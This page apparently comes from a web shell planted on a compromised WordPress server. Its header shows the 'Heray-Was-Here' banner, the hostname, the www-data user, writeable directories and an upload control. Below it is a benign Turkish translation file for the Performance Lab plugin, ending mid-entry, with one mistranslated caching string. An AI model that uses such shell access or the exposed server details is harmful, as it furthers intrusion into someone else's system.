Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/bamagocr/wp-content/languages/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/bamagocr/wp-content/languages/plugins/performance-lab-tr_TR.po
# Translation of Plugins - Performance Lab - Stable (latest release) in Turkish
# This file is distributed under the same license as the Plugins - Performance Lab - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2026-04-04 10:11:35+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n > 1;\n"
"X-Generator: GlotPress/4.0.3\n"
"Language: tr\n"
"Project-Id-Version: Plugins - Performance Lab - Stable (latest release)\n"

#. translators: 1: before-template-db-queries, 2: $wpdb->queries
#: includes/server-timing/defaults.php:82
msgid "Unable to compute server timing for \"%1$s\" because a saved query in %2$s lacks the elapsed time as the second array value."
msgstr "“%1$s” için sunucu zamanlaması hesaplanamıyor çünkü %2$s içindeki kayıtlı sorgu, ikinci dizi değeri olarak geçen süreyi içermiyor."

#. translators: 1: before-template-db-queries, 2: $wpdb->queries
#: includes/server-timing/defaults.php:60
msgid "Unable to compute server timing for \"%1$s\" because %2$s is not an array."
msgstr "“%1$s” için sunucu zamanlaması hesaplanamıyor çünkü %2$s bir dizi değil."

#: includes/admin/load.php:106
msgid "New <strong>Instant Back/Forward</strong> feature now available."
msgstr "Yeni ‎<strong>Anında Geri/İleri‎</strong> özelliği artık kullanılabilir."

#: includes/site-health/audit-enqueued-assets/hooks.php:25
msgid "Blocking assets"
msgstr "Engelleyen varlıklar"

#: includes/site-health/audit-enqueued-assets/helper.php:595
msgid "Error"
msgstr "Hata"

#: includes/site-health/audit-enqueued-assets/helper.php:590
msgid "N/A"
msgstr "Mevcut Değil"

#: includes/site-health/audit-enqueued-assets/helper.php:574
msgid "Style"
msgstr "Biçim"

#: includes/site-health/audit-enqueued-assets/helper.php:573
msgid "Script"
msgstr "Betik"

#: includes/site-health/audit-enqueued-assets/helper.php:567
msgid "Source"
msgstr "Kaynak"

#: includes/site-health/audit-enqueued-assets/helper.php:566
msgid "Type"
msgstr "Tür"

#. translators: %d is the HTTP status code, %s is the status header description
#: includes/site-health/audit-enqueued-assets/helper.php:516
msgid "Failed to retrieve the above asset with an HTTP status of <code>%1$d %2$s</code>."
msgstr "Yukarıdaki varlık, <code>%1$d %2$s</code> HTTP durum koduyla alınamadı."

#. translators: %1$s is the error code
#: includes/site-health/audit-enqueued-assets/helper.php:480
msgid "There was an error while retrieving the home page to analyze the blocking assets, with the error code %1$s and the following message:"
msgstr "Engelleyen varlıkları analiz etmek için ana sayfayı getirirken bir hata oluştu. Hata kodu %1$s ve aşağıdaki mesaj görüntülendi:"

#: includes/site-health/audit-enqueued-assets/helper.php:466
msgid "Raw response:"
msgstr "Ham yanıt:"

#. translators: %d is the HTTP status code, %s is the status header description
#: includes/site-health/audit-enqueued-assets/helper.php:456
msgid "While retrieving the home page to analyze the blocking assets, the request returned with an HTTP status of <code>%1$d %2$s</code>."
msgstr "Engelleyen varlıkları analiz etmek için ana sayfayı alırken, istek <code>%1$d %2$s</code> HTTP durum koduyla geri döndü."

#: includes/site-health/audit-enqueued-assets/helper.php:449
msgid "While retrieving the home page to analyze the blocking assets, the request was successfully but response body was empty."
msgstr "Engelleyici varlıkları analiz etmek için ana sayfa alınırken istek başarılı oldu ancak yanıt gövdesi boştu."

#: includes/site-health/audit-enqueued-assets/helper.php:429
msgid "Unable to check site for blocking assets"
msgstr "Site engelleyici varlıklar için denetlenemedi"

#: includes/site-health/audit-enqueued-assets/helper.php:196
msgid "Your site may have a problem with blocking assets"
msgstr "Sitenizde engelleyici varlıklarla ilgili bir sorun olabilir"

#: includes/site-health/audit-enqueued-assets/helper.php:166
msgid "Any blocking assets do not appear to be particularly problematic"
msgstr "Engelleyici varlıklar özellikle sorunlu görünmüyor"

#. translators: %s: settings page link
#: includes/admin/load.php:243
msgid "Open %s to individually toggle the performance features and access any relevant settings."
msgstr "Performans özelliklerini ayrı ayrı açıp kapatmak ve ilgili ayarlara erişmek için %s sayfasını açın."

#: includes/admin/load.php:119
msgid "<strong>Speculative Loading</strong> now includes an opt-in setting for logged-in users."
msgstr "‎<strong>Spekülatif Yükleme‎</strong> artık oturum açmış kullanıcılar için isteğe bağlı bir ayar içeriyor."

#: includes/admin/load.php:101
msgid "New <strong>View Transitions</strong> feature now available."
msgstr "Yeni ‎<strong>Geçiş Görünümleri</strong> özelliği artık kullanılabilir."

#: includes/admin/load.php:96
msgid "You can now test upcoming WordPress performance features."
msgstr "Artık yaklaşan WordPress performans özelliklerini test edebilirsiniz."

#: includes/site-health/effective-asset-cache-headers/hooks.php:32
msgid "Effective Caching Headers"
msgstr "Etkili Önbellek Başlıkları"

#: includes/site-health/audit-enqueued-assets/helper.php:569
#: includes/site-health/effective-asset-cache-headers/helper.php:317
msgid "Status"
msgstr "Durum"

#: includes/site-health/effective-asset-cache-headers/helper.php:316
msgid "File"
msgstr "Dosya"

#. translators: 1: actual Expires header value in seconds, 2: threshold in
#. seconds
#: includes/site-health/effective-asset-cache-headers/helper.php:236
msgid "expires below threshold (actual: %1$s seconds, threshold: %2$s seconds)"
msgstr "süre sonu eşik değerinin altında (gerçek: %1$s saniye, eşik: %2$s saniye)"

#. translators: 1: actual max-age value in seconds, 2: threshold in seconds
#: includes/site-health/effective-asset-cache-headers/helper.php:225
#: includes/site-health/effective-asset-cache-headers/helper.php:257
msgid "max-age below threshold (actual: %1$s seconds, threshold: %2$s seconds)"
msgstr "max-age eşik değerinin altında (gerçek: %1$s saniye, eşik: %2$s saniye)"

#: includes/site-health/effective-asset-cache-headers/helper.php:144
msgid "No effective caching headers but conditionally cached"
msgstr "Etkili önbellek başlıkları yok ancak koşullu olarak önbelleğe alınmış"

#: includes/site-health/effective-asset-cache-headers/helper.php:139
msgid "No effective caching headers and no conditional caching"
msgstr "Etkili önbellek başlıkları yok ancak koşullu olarak önbelleğe alınmış"

#: includes/site-health/effective-asset-cache-headers/helper.php:120
msgid "No valid headers retrieved"
msgstr "Geçerli başlık alınamadı"

#: includes/site-health/effective-asset-cache-headers/helper.php:109
msgid "Could not retrieve headers"
msgstr "Başlıklar alınamadı"

#: includes/site-health/effective-asset-cache-headers/helper.php:77
msgid "Effective Cache-Control or Expires headers can be added or adjusted with a small configuration change by your hosting provider."
msgstr "Etkili Cache-Control veya Expires başlıkları, barındırma sağlayıcınız tarafından küçük bir yapılandırma değişikliğiyle eklenebilir veya ayarlanabilir."

#: includes/site-health/effective-asset-cache-headers/helper.php:72
msgid "Note: \"Conditionally cached\" means that the browser can re-validate the resource using ETag or Last-Modified headers. This results in fewer full downloads but still requires the browser to make requests, unlike far-future expiration headers that allow the browser to fully rely on its local cache for a longer duration."
msgstr "Dipçe: “Koşullu önbellek” tarayıcının kaynağı ETag veya Last-Modified başlıklarını kullanarak yeniden doğrulayabileceği anlamına gelir. Bu, daha az tam indirmeyle sonuçlanır ancak yine de tarayıcının istek yapmasını gerektirir; tarayıcının daha uzun süre yerel önbelleğine tamamen güvenmesini sağlayan uzun vadeli süre sonu başlıklarının aksine."

#: includes/site-health/effective-asset-cache-headers/helper.php:70
msgid "The following file types do not have the recommended effective Cache-Control or Expires headers. Consider adding or adjusting Cache-Control or Expires headers for these asset types."
msgstr "Aşağıdaki dosya türleri önerilen etkili Cache-Control veya Expires başlıklarına sahip değil. Bu varlık türleri için Cache-Control veya Expires başlıkları eklemeyi veya ayarlamayı düşünün."

#: includes/site-health/effective-asset-cache-headers/helper.php:65
msgid "Your site does not serve static assets with an effective caching strategy"
msgstr "Siteniz statik varlıkları etkili bir önbellek stratejisiyle sunmuyor"

#: includes/site-health/effective-asset-cache-headers/helper.php:33
msgid "Serving static assets with far-future expiration headers improves performance by allowing browsers to cache files for a long time, reducing repeated requests."
msgstr "Statik varlıkları uzun vadeli süre sonu başlıklarıyla sunmak, tarayıcıların dosyaları uzun süre önbelleğe almasına olanak tanıyarak ve tekrarlanan istekleri azaltarak performansı artırır."

#: includes/site-health/effective-asset-cache-headers/helper.php:25
msgid "Your site serves static assets with an effective caching strategy"
msgstr "Siteniz statik varlıkları etkili bir önbellek stratejisiyle sunuyor"

#: includes/site-health/bfcache-compatibility-headers/hooks.php:26
msgid "Cache-Control headers may prevent fast back/forward navigation"
msgstr "Cache-Control başlıkları hızlı geri/ileri gezinmeyi engelleyebilir"

#. translators: 1: Cache-Control, 2: no-store
#: includes/site-health/bfcache-compatibility-headers/helper.php:76
msgid "The %1$s response header for an unauthenticated request to the home page includes the %2$s directive. This can affect the performance of your site by preventing fast back/forward navigations (via the browser's bfcache)."
msgstr "Ana sayfaya yapılan kimliği doğrulanmamış bir istek için %1$s yanıt başlığı %2$s yönergesini içeriyor. Bu, hızlı geri/ileri gezinmeleri (tarayıcının bfcache’i aracılığıyla) engelleyerek sitenizin performansını etkileyebilir."

#: includes/site-health/bfcache-compatibility-headers/helper.php:70
msgid "The Cache-Control page header is preventing fast back/forward navigations"
msgstr "Cache-Control sayfa başlığı hızlı geri/ileri gezinmeleri engelliyor"

#. translators: 1: the error code, 2: the error message
#: includes/site-health/bfcache-compatibility-headers/helper.php:53
msgid "The unauthenticated request to check the <code>Cache-Control</code> response header for the home page resulted in an error with code <code>%1$s</code> and the following message: %2$s."
msgstr "Ana sayfanın ‎<code>Cache-Control‎</code> yanıt başlığını kontrol etmek için yapılan kimliği doğrulanmamış istek, ‎<code>%1$s‎</code> koduyla ve şu mesajla bir hatayla sonuçlandı: %2$s."

#: includes/site-health/bfcache-compatibility-headers/helper.php:48
msgid "Unable to check whether the Cache-Control page header is compatible with fast back/forward navigations"
msgstr "Cache-Control sayfa başlığının hızlı geri/ileri gezinmelerle uyumlu olup olmadığı kontrol edilemiyor"

#: includes/site-health/bfcache-compatibility-headers/helper.php:32
msgid "If the <code>Cache-Control</code> page response header includes the <code>no-store</code> directive then it can prevent instant back/forward navigations (using the browser's bfcache). This is not present for unauthenticated requests on your site, so it is configured properly. Note that there are other ways that bfcache can be disabled (e.g. you have JavaScript which uses a <code>unload</code> event listener). Also note that WordPress adds this directive for logged-in page responses for privacy/security reasons."
msgstr "‎<code>Cache-Control‎</code> sayfa yanıt başlığı ‎<code>no-store‎</code> yönergesini içeriyorsa anında geri/ileri gezinmeleri (tarayıcının bfcache’ini kullanarak) engelleyebilir. Bu, sitenizdeki kimliği doğrulanmamış isteklerde mevcut değildir, dolayısıyla düzgün yapılandırılmıştır. bfcache’in devre dışı bırakılabileceği başka yollar da olduğunu unutmayın (örneğin, ‎<code>unload‎</code> olay dinleyicisi kullanan JavaScript’iniz varsa). Ayrıca WordPress’in gizlilik/güvenlik nedeniyle oturum açmış sayfa yanıtlarına bu yönergeyi eklediğini de unutmayın."

#: includes/site-health/bfcache-compatibility-headers/helper.php:25
msgid "The Cache-Control page header is compatible with fast back/forward navigations"
msgstr "Cache-Control sayfa başlığı hızlı geri/ileri gezinme ile uyumludur."

#. translators: %s is the URL to the plugins screen
#: includes/admin/plugins.php:311
msgid "Performance features are installed as plugins. To update features or remove them, <a href=\"%s\">manage them on the plugins screen</a>."
msgstr "Performans özellikleri eklenti olarak yüklenir. Özellikleri güncellemek veya kaldırmak için <a href=\"%s\">eklenti ekranından yönetebilirsiniz</a>."

#: includes/admin/plugins.php:133
msgid "The requested plugin is not part of Performance Lab plugins."
msgstr "İstenen eklenti, Performance Lab eklentilerinin bir parçası değildir."

#. translators: %s is the minified asset path
#: includes/admin/load.php:376
msgid "Minified asset has not been built: %s"
msgstr "Küçültülmüş varlık oluşturulmadı: %s"

#: includes/site-health/avif-headers/hooks.php:25
msgid "AVIF Headers"
msgstr "AVIF Başlıkları"

#: includes/site-health/avif-headers/helper.php:52
msgid "AVIF headers can be enabled with a small configuration change by your hosting provider."
msgstr "AVIF başlıkları, barındırma sağlayıcınız tarafından küçük bir yapılandırma değişikliğiyle etkinleştirilebilir."

#: includes/site-health/avif-headers/helper.php:49
msgid "Your site does not send AVIF image headers correctly"
msgstr "Siteniz AVIF görsel başlıklarını doğru şekilde göndermiyor"

#. translators: 1: image/avif, 2: content-type
#: includes/site-health/avif-headers/helper.php:35
msgid "Images with the mime type %1$s served without the correct %2$s header may not render properly."
msgstr "%1$s mime türüne sahip görseller doğru %2$s başlığı olmadan sunulduğunda düzgün görüntülenmeyebilir."

#: includes/site-health/avif-headers/helper.php:24
msgid "Your site sends AVIF image headers"
msgstr "Siteniz AVIF görsel başlıklarını gönderiyor"

#: includes/admin/rest-api.php:94
msgid "Sorry, you are not allowed to access plugin/feature information on this site."
msgstr "Üzgünüz, bu sitedeki eklenti/özellik bilgilerine erişim izniniz yok."

#: includes/admin/rest-api.php:83
msgid "Plugin slug of plugin/feature whose information is needed."
msgstr "Bilgisi gereken eklenti/özelliğin eklenti kısa adı."

#: includes/admin/rest-api.php:58
msgid "Plugin slug of the Performance Lab feature to be activated."
msgstr "Etkinleştirilecek Performance Lab özelliğinin eklenti kısa adı."

#: includes/admin/plugins.php:467
msgid "Plugin not found among installed plugins."
msgstr "Eklenti, yüklü eklentiler arasında bulunamadı."

#: includes/admin/plugins.php:112
msgid "Plugin not found in API response."
msgstr "Eklenti, API yanıtında bulunamadı."

#: includes/admin/plugins.php:83
msgid "No plugins found in the API response."
msgstr "API yanıtında hiç eklenti bulunamadı."

#. translators: %s: API error message
#: includes/admin/plugins.php:68
msgid "Failed to retrieve plugins data from WordPress.org API: %s"
msgstr "WordPress.org API’sinden eklenti verileri alınamadı: %s"

#: includes/admin/plugins.php:236
msgid "The following errors occurred:"
msgstr "Aşağıdaki hatalar oluştu:"

#: includes/admin/plugins.php:235
msgid "Failed to query WordPress.org Plugin Directory for the following plugins:"
msgstr "Aşağıdaki eklentiler için WordPress.org Eklenti Dizini sorgulanamadı:"

#: includes/admin/plugins.php:254
msgid "Please consider manual plugin installation and activation. You can then access each plugin's settings via its respective \"Settings\" link on the Plugins screen."
msgstr "Lütfen eklentileri elle kurmayı ve etkinleştirmeyi düşünün. Ardından her eklentinin ayarlarına, Eklentiler ekranındaki ilgili “Ayarlar” bağlantısından erişebilirsiniz."

#: includes/admin/plugins.php:233
msgid "The following error occurred:"
msgstr "Aşağıdaki hata oluştu:"

#: includes/admin/plugins.php:232
msgid "Failed to query WordPress.org Plugin Directory for the following plugin:"
msgstr "Aşağıdaki eklenti için WordPress.org Eklenti Dizini sorgulanamadı:"

#: includes/admin/plugins.php:214
msgid "(installed)"
msgstr "(yüklü)"

#: includes/admin/plugins.php:212
msgid "(active)"
msgstr "(etkin)"

#. translators: Accessibility text.
#: includes/site-health/webp-support/helper.php:46
msgid "WebP support can only be enabled by your hosting provider. Please contact them to inquire about switching to a plan that supports WebP, or consider switching to a host that offers this capability. <a href=\"https://make.wordpress.org/hosting/2022/03/30/wordpress-hosting-and-webp-support/\" target=\"_blank\">Learn more</a> about WebP image support for WordPress sites."
msgstr "WebP desteği yalnızca barındırma sağlayıcınız tarafından etkinleştirilebilir. WebP’yi destekleyen bir plana geçiş hakkında bilgi almak için lütfen onlarla iletişime geçin veya bu özelliği sunan bir barındırma sağlayıcısına geçmeyi düşünün. WordPress siteleri için WebP görsel desteği hakkında ‎<a href=\"https://make.wordpress.org/hosting/2022/03/30/wordpress-hosting-and-webp-support/\" target=\"_blank\">daha fazla bilgi edinin‎</a>."

#. translators: %s: link to Performance Lab settings screen
#: includes/admin/load.php:630
msgid "This plugin is installed by <a href=\"%s\">Performance Lab</a>."
msgstr "Bu eklenti <a href=\"%s\">Performance Lab</a> tarafından yüklenmiştir."

#: includes/site-health/avif-support/hooks.php:25
msgid "AVIF Support"
msgstr "AVIF Desteği"

#. translators: Accessibility text.
#: includes/site-health/avif-support/helper.php:46
msgid "AVIF support can only be enabled by your hosting provider, so contact them for more information."
msgstr "AVIF desteği yalnızca barındırma sağlayıcınız tarafından etkinleştirilebilir, daha fazla bilgi için onlarla iletişime geçin."

#: includes/site-health/avif-support/helper.php:42
msgid "Your site does not support AVIF"
msgstr "Siteniz AVIF formatını desteklemiyor"

#: includes/site-health/avif-support/helper.php:32
msgid "The AVIF image format generally has better compression than WebP, JPEG, PNG and GIF and is designed to supersede them, which can reduce page load time and consume less bandwidth."
msgstr "AVIF görsel biçimi genel olarak WebP, JPEG, PNG ve GIF’ten daha iyi sıkıştırmaya sahiptir ve bunların yerini almak üzere tasarlanmıştır; bu da sayfa yüklenme süresini azaltabilir ve daha az bant genişliği tüketebilir."

#: includes/site-health/avif-support/helper.php:24
msgid "Your site supports AVIF"
msgstr "Siteniz AVIF destekliyor"

#: includes/admin/plugins.php:587
msgid "Visit plugin site"
msgstr "Eklenti sitesini ziyaret edin"

#: includes/admin/plugins.php:221 includes/admin/plugins.php:581
msgid "https://wordpress.org/plugins/"
msgstr "https://wordpress.org/plugins/"

#. translators: %s: Plugin name.
#: includes/admin/plugins.php:579
msgid "Visit plugin site for %s"
msgstr "%s için eklenti sitesini ziyaret edin"

#. translators: %s is the settings URL
#: includes/admin/load.php:555
msgid "Review <a href=\"%s\">settings</a>."
msgstr "<a href=\"%s\">Ayarları‎</a> inceleyin."

#: includes/site-health/audit-autoloaded-options/hooks.php:113
msgid "The option has been successfully updated."
msgstr "Seçenek başarıyla güncellendi."

#: includes/site-health/audit-autoloaded-options/hooks.php:95
msgid "Failed to disable autoload."
msgstr "Otomatik yükleme devre dışı bırakılamadı."

#: includes/site-health/audit-autoloaded-options/hooks.php:73
msgid "The option does not exist."
msgstr "Seçenek mevcut değil."

#: includes/site-health/audit-autoloaded-options/hooks.php:67
msgid "Invalid option name."
msgstr "Geçersiz seçenek adı."

#: includes/site-health/audit-autoloaded-options/hooks.php:63
msgid "Permission denied."
msgstr "Erişim reddedildi."

#: includes/site-health/audit-autoloaded-options/helper.php:266
msgid "Revert to Autoload"
msgstr "Otomatik Yüklemeye Geri Dön"

#: includes/site-health/audit-autoloaded-options/helper.php:246
msgid "The following table shows the options for which you have previously disabled Autoload."
msgstr "Aşağıdaki tablo, daha önce Otomatik Yüklemeyi devre dışı bıraktığınız seçenekleri göstermektedir."

#: includes/site-health/audit-autoloaded-options/helper.php:201
msgid "Disable Autoload"
msgstr "Otomatik Yüklemeyi Devre Dışı Bırak"

#: includes/site-health/audit-autoloaded-options/helper.php:185
#: includes/site-health/audit-autoloaded-options/helper.php:249
msgid "Action"
msgstr "Eylem"

#: includes/admin/plugins.php:668
msgctxt "plugin suffix"
msgid "(experimental)"
msgstr "(deneysel)"

#: includes/admin/plugins.php:573
msgid "Learn more"
msgstr "Daha fazla bilgi edinin"

#: includes/admin/load.php:550
msgid "Feature activated."
msgstr "Özellik etkinleştirildi."

#: includes/admin/load.php:535
msgid "Due to your site's configuration, you may not be able to activate the performance features, unless the underlying plugin is already installed. Please install the relevant plugins manually."
msgstr "Sitenizin yapılandırması nedeniyle, temel eklenti zaten yüklü olmadıkça performans özelliklerini etkinleştiremeyebilirsiniz. Lütfen ilgili eklentileri elle yükleyin."

#: includes/admin/plugins.php:447
msgid "Sorry, you are not allowed to install plugins on this site."
msgstr "Üzgünüz, bu siteye eklenti yükleme izniniz yok."

#: includes/admin/load.php:441
#: includes/site-health/audit-autoloaded-options/hooks.php:56
msgid "Missing required parameter."
msgstr "Gerekli parametre eksik."

#: includes/admin/load.php:22 includes/admin/plugins.php:279
msgid "Performance Features"
msgstr "Performans Özellikleri"

#: includes/admin/plugins.php:645
msgid "This plugin does not work with your version of PHP."
msgstr "Bu eklenti PHP sürümünüzle çalışmaz."

#: includes/admin/plugins.php:634
msgid "This plugin does not work with your version of WordPress."
msgstr "Bu eklenti WordPress sürümünüzle çalışmıyor."

#. translators: %s: URL to Update PHP page.
#: includes/admin/plugins.php:627 includes/admin/plugins.php:650
msgid "<a href=\"%s\">Learn more about updating PHP</a>."
msgstr "‎<a href=\"%s\">PHP güncelleme hakkında daha fazla bilgi edinin‎</a>."

#. translators: %s: URL to WordPress Updates screen.
#: includes/admin/plugins.php:619 includes/admin/plugins.php:639
msgid "<a href=\"%s\">Please update WordPress</a>."
msgstr "‎<a href=\"%s\">Lütfen WordPress’i güncelleyin‎</a>."

#. translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page.
#: includes/admin/plugins.php:609
msgid "<a href=\"%1$s\">Please update WordPress</a>, and then <a href=\"%2$s\">learn more about updating PHP</a>."
msgstr "‎<a href=\"%1$s\">Lütfen WordPress’i güncelleyin‎</a> ve ardından ‎<a href=\"%2$s\">PHP güncelleme hakkında daha fazla bilgi edinin‎</a>."

#: includes/admin/plugins.php:604
msgid "This plugin does not work with your versions of WordPress and PHP."
msgstr "Bu eklenti WordPress ve PHP sürümlerinizle çalışmıyor."

#. translators: %s: Plugin name and version.
#: includes/admin/plugins.php:571
msgid "More information about %s"
msgstr "%s hakkında daha fazla bilgi"

#: includes/admin/plugins.php:545
msgctxt "plugin"
msgid "Cannot Activate"
msgstr "Etkinleştirilemiyor"

#: includes/admin/plugins.php:542 includes/admin/plugin-activate-ajax.js:102
msgid "Activate"
msgstr "Etkinleştir"

#: includes/admin/plugins.php:519
msgctxt "plugin"
msgid "Active"
msgstr "Etkin"

#: includes/admin/plugins.php:545
msgctxt "plugin"
msgid "Cannot Install"
msgstr "Yüklenemiyor"

#: includes/admin/plugins.php:283
msgid "Plugins list"
msgstr "Eklenti listesi"

#: includes/admin/load.php:446
msgid "Invalid plugin."
msgstr "Geçersiz eklenti."

#: includes/admin/rest-api.php:70
msgid "Sorry, you are not allowed to activate this feature."
msgstr "Üzgünüz, bu özelliği etkinleştirme izniniz yok."

#: includes/admin/plugins.php:478
msgid "Sorry, you are not allowed to activate this plugin."
msgstr "Üzgünüz, bu eklentiyi etkinleştirme izniniz yok."

#: includes/admin/server-timing.php:264
msgid "Output buffering is needed to capture metrics after headers have been sent and while the template is being rendered. Note that output buffering may possibly cause an increase in TTFB if the response would be flushed multiple times."
msgstr "Başlıklar gönderildikten sonra ve şablon işlenirken metrikleri yakalamak için çıktı arabelleğe alma gereklidir. Yanıt birden çok kez boşaltılacaksa çıktı arabelleğe almanın TTFB’de artışa neden olabileceğini unutmayın."

#. translators: %s: perflab_server_timing_use_output_buffer
#: includes/admin/server-timing.php:256
msgid "Output buffering has been forcibly disabled via the %s filter."
msgstr "Çıktı arabelleğe alma, %s filtresi aracılığıyla zorla devre dışı bırakıldı."

#. translators: %s: perflab_server_timing_use_output_buffer
#: includes/admin/server-timing.php:245
msgid "Output buffering has been forcibly enabled via the %s filter."
msgstr "Çıktı arabelleğe alma, %s filtresi aracılığıyla zorla etkinleştirildi."

#: includes/admin/server-timing.php:236
msgid "Enable output buffering of template rendering"
msgstr "Şablon işleme için çıktı arabelleğe almayı etkinleştir"

#: includes/admin/server-timing.php:199
msgid "Enter a single hook name per line."
msgstr "Her satıra tek bir kanca adı girin."

#: includes/admin/server-timing.php:138
msgid "Filters"
msgstr "Filtreler"

#: includes/admin/server-timing.php:128
msgid "Actions"
msgstr "Eylemler"

#. translators: 1: Server-Timing, 2: template_include, 3: anchor link
#: includes/admin/server-timing.php:103
msgid "Since the %1$s header is sent before the template is loaded, only hooks before the %2$s filter can be measured. Enable <a href=\"%3$s\">Output Buffering</a> to measure hooks during template rendering."
msgstr "%1$s başlığı şablon yüklenmeden önce gönderildiğinden, yalnızca %2$s filtresinden önceki kancalar ölçülebilir. Şablon işleme sırasında kancaları ölçmek için ‎<a href=\"%3$s\">Çıktı Arabelleğe Alma‎</a> özelliğini etkinleştirin."

#: includes/admin/server-timing.php:92
msgid "For any hook name provided, the <strong>cumulative duration between all callbacks</strong> attached to the hook is measured, in milliseconds."
msgstr "Verilen herhangi bir kanca adı için, kancaya bağlı <strong>tüm geri aramalar arasındaki toplam süre</strong> milisaniye cinsinden ölçülür."

#. translators: %s: Server-Timing
#: includes/admin/server-timing.php:85
msgid "In this section, you can provide hook names to include measurements for them in the %s header."
msgstr "Bu bölümde, %s başlığına ölçümleri eklemek için kanca adları girebilirsiniz."

#: includes/admin/server-timing.php:77
msgid "Benchmarking"
msgstr "Değerlendirme"

#: includes/admin/server-timing.php:53
msgid "Output Buffering"
msgstr "Çıktı Arabelleği"

#: includes/admin/server-timing.php:26 includes/admin/server-timing.php:27
#: includes/admin/server-timing.php:158
msgid "Server-Timing"
msgstr "Sunucu Zamanlaması"

#: includes/server-timing/class-perflab-server-timing.php:153
msgid "The method must be called before headers have been sent."
msgstr "Yöntem, başlıklar gönderilmeden önce çağrılmalıdır."

#. translators: %s: PHP parameter name
#: includes/server-timing/class-perflab-server-timing.php:106
msgid "The %s argument is required and must be a string."
msgstr "%s bağımsız değişkeni gereklidir ve bir dize olmalıdır."

#. translators: %s: PHP parameter name
#: includes/server-timing/class-perflab-server-timing.php:97
msgid "The %s argument is required and must be a callable."
msgstr "%s argümanı gereklidir ve çağrılabilir olmalıdır."

#. translators: %s: metric slug
#: includes/server-timing/class-perflab-server-timing.php:70
msgid "A metric with the slug %s is already registered."
msgstr "%s bağlantısına sahip bir metrik zaten kayıtlıdır."

#. translators: %s: PHP method name
#: includes/server-timing/class-perflab-server-timing-metric.php:137
msgid "The %s method must be called before."
msgstr "%s yöntemi önceden çağrılmalıdır."

#. translators: %s: WordPress action name
#: includes/server-timing/class-perflab-server-timing-metric.php:87
#: includes/server-timing/class-perflab-server-timing.php:80
msgid "The method must be called before or during the %s action."
msgstr "Yöntem, %s eylemi öncesinde veya sırasında çağrılmalıdır."

#. translators: %s: PHP parameter name
#: includes/server-timing/class-perflab-server-timing-metric.php:77
msgid "The %s parameter must be an integer, float, or numeric string."
msgstr "%s parametresi bir tamsayı, kayan nokta veya sayısal dize olmalıdır."

#: includes/site-health/audit-enqueued-assets/helper.php:597
msgid "OK"
msgstr "TAMAM"

#: includes/site-health/audit-autoloaded-options/helper.php:184
#: includes/site-health/audit-autoloaded-options/helper.php:248
#: includes/site-health/audit-enqueued-assets/helper.php:568
msgid "Size"
msgstr "Boyut"

#: includes/site-health/audit-autoloaded-options/helper.php:183
#: includes/site-health/audit-autoloaded-options/helper.php:247
msgid "Option Name"
msgstr "Seçenek Adı"

#. Author URI of the plugin
#: load.php
msgid "https://make.wordpress.org/performance/"
msgstr "https://make.wordpress.org/performance/"

#: includes/site-health/audit-autoloaded-options/helper.php:80
msgid "https://wordpress.org/support/article/optimization/#autoloaded-options"
msgstr "https://wordpress.org/support/article/optimization/#autoloaded-options"

#: includes/site-health/webp-support/helper.php:32
msgid "The WebP image format produces images that are usually smaller in size than JPEG images, which can reduce page load time and consume less bandwidth."
msgstr "WebP görüntü formatı, genellikle JPEG görüntülerinden daha küçük boyutlu görüntüler üretir, bu da sayfa yükleme süresini azaltabilir ve daha az bant genişliği tüketebilir."

#. translators: 1. Number of autoloaded options. 2. Autoloaded options size.
#: includes/site-health/audit-autoloaded-options/helper.php:63
msgid "Your site has %1$s autoloaded options (size: %2$s) in the options table, which could cause your site to be slow. You can reduce the number of autoloaded options by cleaning up your site's options table."
msgstr "Sitenizin seçenekler tablosunda %1$s otomatik yüklenen seçenek (boyut: %2$s) bulunmaktadır ve bu, sitenizin yavaşlamasına neden olabilir. Sitenizin seçenekler tablosunu temizleyerek otomatik yüklenen seçeneklerin sayısını azaltabilirsiniz."

#: includes/site-health/audit-autoloaded-options/helper.php:60
msgid "Autoloaded options could affect performance"
msgstr "Otomatik yüklenen seçenekler performansı etkileyebilir"

#. translators: 1. Number of autoloaded options. 2. Autoloaded options size.
#: includes/site-health/audit-autoloaded-options/helper.php:38
msgid "Your site has %1$s autoloaded options (size: %2$s) in the options table, which is acceptable."
msgstr "Sitenizin seçenekler tablosunda %1$s otomatik yüklenen seçenek (boyut: %2$s) bulunuyor ve bu kabul edilebilir düzeydedir."

#: includes/site-health/audit-autoloaded-options/helper.php:30
msgid "Autoloaded options are acceptable"
msgstr "Otomatik yüklenen seçenekler kabul edilebilir"

#: includes/site-health/audit-autoloaded-options/helper.php:27
msgid "Autoloaded options are configuration settings for plugins and themes that are automatically loaded with every page load in WordPress. Having too many autoloaded options can slow down your site."
msgstr "Otomatik yüklenen seçenekler, WordPress’te her sayfa yüklemesinde otomatik olarak yüklenen eklentiler ve temalar için yapılandırma ayarlarıdır. Çok fazla otomatik yüklenen seçeneğin olması sitenizi yavaşlatabilir."

#: includes/site-health/audit-autoloaded-options/hooks.php:30
msgid "Autoloaded options"
msgstr "Otomatik yüklenen seçenekler"

#: includes/site-health/webp-support/helper.php:42
msgid "Your site does not support WebP"
msgstr "Siteniz WebP desteklemiyor"

#: includes/site-health/webp-support/helper.php:24
msgid "Your site supports WebP"
msgstr "Siteniz WebP formatını destekliyor"

#: includes/site-health/webp-support/hooks.php:25
msgid "WebP Support"
msgstr "WebP Desteği"

#. translators: 1: Number of blocking styles. 2.Styles size.
#: includes/site-health/audit-enqueued-assets/helper.php:386
msgid "Your website has %1$s blocking style (size: %2$s). Try to reduce the number or to concatenate them."
msgid_plural "Your website has %1$s blocking styles (size: %2$s). Try to reduce the number or to concatenate them."
msgstr[0] "Web sitenizde %1$s engelleme stili (boyut: %2$s) bulunmaktadır. Sayısını azaltmaya veya bunları birleştirmeye çalışın."
msgstr[1] "Web sitenizde %1$s engelleme stili (boyut: %2$s) bulunmaktadır. Sayısını azaltmaya veya bunları birleştirmeye çalışın."

#. translators: 1: Number of blocking styles. 2. Styles size.
#: includes/site-health/audit-enqueued-assets/helper.php:347
